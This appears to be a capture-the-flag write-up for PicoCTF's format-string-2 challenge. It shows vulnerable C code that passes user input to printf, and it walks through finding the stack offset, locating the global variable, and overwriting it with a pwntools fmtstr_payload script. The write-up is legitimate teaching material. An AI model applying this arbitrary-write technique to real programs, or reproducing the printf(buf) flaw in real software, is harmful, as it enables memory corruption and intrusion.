126 lines
4.0 KiB
Markdown
126 lines
4.0 KiB
Markdown
---
|
|
title: "PicoCTF 2024: format-string-2"
|
|
excerpt: "Using format string bug to get an arbitrary write primitive"
|
|
tags: [ctf, pwn]
|
|
---
|
|
|
|
## Recon
|
|
|
|
Following the format-string-1 challenge, we get an executable that we can analyze as always:
|
|
|
|
```
|
|
$ file vuln
|
|
vuln: ELF 64-bit LSB executable, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/ld-linux-x86-64.so.2, BuildID[sha1]=dfe923d97df1df729249ff21202d10ad15d45f4c, for GNU/Linux 3.2.0, not stripped
|
|
$ checksec --file=vuln
|
|
[*] '/home/qelal/PicoCTF/fmt2/vuln'
|
|
Arch: amd64-64-little
|
|
RELRO: Partial RELRO
|
|
Stack: No canary found
|
|
NX: NX enabled
|
|
PIE: No PIE (0x400000)
|
|
SHSTK: Enabled
|
|
IBT: Enabled
|
|
Stripped: No
|
|
```
|
|
|
|
We can take a look at the source code:
|
|
|
|
```c
|
|
#include <stdio.h>
|
|
|
|
int sus = 0x21737573;
|
|
|
|
int main() {
|
|
char buf[1024];
|
|
char flag[64];
|
|
|
|
printf("You don't have what it takes. Only a true wizard could change my suspicions. What do you have to say?\n");
|
|
fflush(stdout);
|
|
scanf("%1024s", buf);
|
|
printf("Here's your input: ");
|
|
printf(buf);
|
|
printf("\n");
|
|
fflush(stdout);
|
|
|
|
if (sus == 0x67616c66) {
|
|
printf("I have NO clue how you did that, you must be a wizard. Here you go...\n");
|
|
|
|
// Read in the flag
|
|
FILE *fd = fopen("flag.txt", "r");
|
|
fgets(flag, 64, fd);
|
|
|
|
printf("%s", flag);
|
|
fflush(stdout);
|
|
}
|
|
else {
|
|
printf("sus = 0x%x\n", sus);
|
|
printf("You can do better!\n");
|
|
fflush(stdout);
|
|
}
|
|
|
|
return 0;
|
|
}
|
|
```
|
|
|
|
There is a format string bug on `printf(buf)`. This time we won't only need to read leaked data off the stack, but instead we'll have to overwrite a global variable, named `sus`. As it is global, it won't be stored on the stack as other local variables.
|
|
|
|
Fortunately, as the binary is not PIE, we know that the address for `sus` will always be the same. It can be found from static analysis:
|
|
|
|
```
|
|
$ objdump -t vuln | grep sus
|
|
0000000000404060 g O .data 0000000000000004 sus
|
|
```
|
|
|
|
So it is located at `0x404060`. The value we'll have to overwrite `sus` with is `0x67616c66`, as we know from the source code.
|
|
|
|
## Exploit
|
|
|
|
To be able to inject the address of `sus` and write to it, we will first get the offset of where our input data is on the stack. To make it easy, we will inject an unique "AAAAAAAA" payload (which in ASCII is eight times 0x41) and see where it ends up:
|
|
|
|
```
|
|
$ ./vuln
|
|
You don't have what it takes. Only a true wizard could change my suspicions. What do you have to say?
|
|
AAAAAAAA%p.%p.%p.%p.%p.%p.%p.%p.%p.%p.%p.%p.%p.%p.%p.%p.
|
|
Here's your input: AAAAAAAA0x402075.(nil).(nil).0x402073.0x7efcbbadaa80.0x7efcbbb3a668.0x7ffc00000001.0x7efcbbb3a2e0.0xffffffff.0x7efcbb919678.0x7efcbbb04400.0x1.0x7ffc68e8fea0.0x4141414141414141.0x70252e70252e7025.0x252e70252e70252e.
|
|
sus = 0x21737573
|
|
You can do better!
|
|
```
|
|
|
|
Our input is at the 14th position on the stack. To be sure we can confirm this offset by using a more precise format specifier:
|
|
|
|
```
|
|
$ ./vuln
|
|
You don't have what it takes. Only a true wizard could change my suspicions. What do you have to say?
|
|
AAAAAAAA%14$p
|
|
Here's your input: AAAAAAAA0x4141414141414141
|
|
sus = 0x21737573
|
|
You can do better!
|
|
```
|
|
|
|
By the way we could also use a bit of dynamic analysis on our local machine (with a dummy flag file) to see if our hypothesis is right (unnecessary but still nice to see):
|
|
|
|
```
|
|
pwndbg> set *0x404060 = 0x67616c66
|
|
pwndbg> c
|
|
Continuing.
|
|
ff
|
|
Here's your input: ff
|
|
I have NO clue how you did that, you must be a wizard. Here you go...
|
|
CTF{dummy}
|
|
[Inferior 1 (process 12774) exited normally]
|
|
```
|
|
|
|
Now that we know this, we can automate the exploit craft for this using the `fmtstr_payload` helper from pwntools:
|
|
|
|
```python
|
|
io = start()
|
|
|
|
sus_addr = 0x404060
|
|
payload = fmtstr_payload(14, {sus_addr: 0x67616c66})
|
|
|
|
io.sendlineafter(b'say?', payload)
|
|
print(io.recvall())
|
|
```
|
|
|
|
This writes the desired value to the address of `sus`, and the payload will be injected on 14th position of the stack, as we know this is where our input ends up being. We bypass the check, and get the flag.
|